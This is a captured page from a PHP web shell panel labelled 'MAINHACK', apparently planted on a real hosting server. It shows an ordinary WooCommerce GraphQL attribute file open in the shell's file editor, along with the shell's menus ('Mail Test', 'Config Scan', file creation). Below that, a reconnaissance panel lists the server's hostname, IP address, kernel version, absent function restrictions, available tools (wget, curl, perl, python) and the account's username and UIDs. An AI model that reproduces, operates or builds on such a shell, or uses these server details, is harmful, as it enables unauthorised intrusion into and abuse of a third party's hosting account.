[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Parameter.php
<?php declare(strict_types=1); namespace Automattic\WooCommerce\Api\Attributes; use Attribute; /** * Declares an explicit GraphQL argument for a query or mutation. * * Use this when the argument cannot be inferred from the `execute()` method * signature — for example, when a parameter needs a specific GraphQL type, * nullability, or default that differs from what reflection would produce. * This attribute is repeatable: apply it once per argument. */ #[Attribute( Attribute::TARGET_ALL | Attribute::IS_REPEATABLE )] final class Parameter { /** * Whether a default value was provided. * * @var bool */ public readonly bool $has_default; /** * Constructor. * * @param string $name The GraphQL argument name (not needed when unrolling). * @param string $type The PHP type name ('int', 'string', 'float', 'bool') * or a fully-qualified class name for complex types. * @param bool $nullable Whether the argument accepts null. * @param bool $array Whether the argument is a list (e.g. `[Int!]`). * @param mixed $default The default value if the argument is omitted. * @param string $description Human-readable description for the schema. * @param bool $has_default Set to true to explicitly indicate a default is * provided (needed when the default value is null). * @param bool $unroll When true, the class given in $type is expanded into * individual GraphQL arguments (one per public property). */ public function __construct( public readonly string $name = '', public readonly string $type = '', public readonly bool $nullable = false, public readonly bool $array = false, public readonly mixed $default = null, public readonly string $description = '', bool $has_default = false, public readonly bool $unroll = false, ) { // We need a separate flag because null could be a valid default value. // Callers pass has_default: true when they supply a default, or we infer // it from the default value being non-null. $this->has_default = $has_default || null !== $default; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium171.web-hosting.com
Server IP: 162.0.209.115
PHP Version: 8.0.30
Server Software: LiteSpeed
System: Linux premium171.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 71.28 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: aircyknj
User ID (UID): 2056
Group ID (GID): 2052
Script Owner UID: 2056
Current Dir Owner: 2056